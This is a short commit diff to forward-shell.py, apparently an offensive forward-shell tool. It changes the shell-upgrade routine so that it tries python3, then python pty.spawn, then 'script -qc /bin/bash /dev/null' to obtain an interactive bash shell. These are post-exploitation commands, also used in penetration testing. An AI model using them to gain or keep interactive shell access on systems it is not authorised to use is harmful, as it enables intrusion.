Update forward-shell.py

Author: carlospolop

forward-shell.py

@@ -76,7 +76,7 @@ def WriteCmd(self, cmd):
 
     def UpgradeShell(self):
         # upgrade shell
-        UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")'"""
+        UpgradeShell = """python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null"""
         self.WriteCmd(UpgradeShell)
 
 prompt = "Please Subscribe> "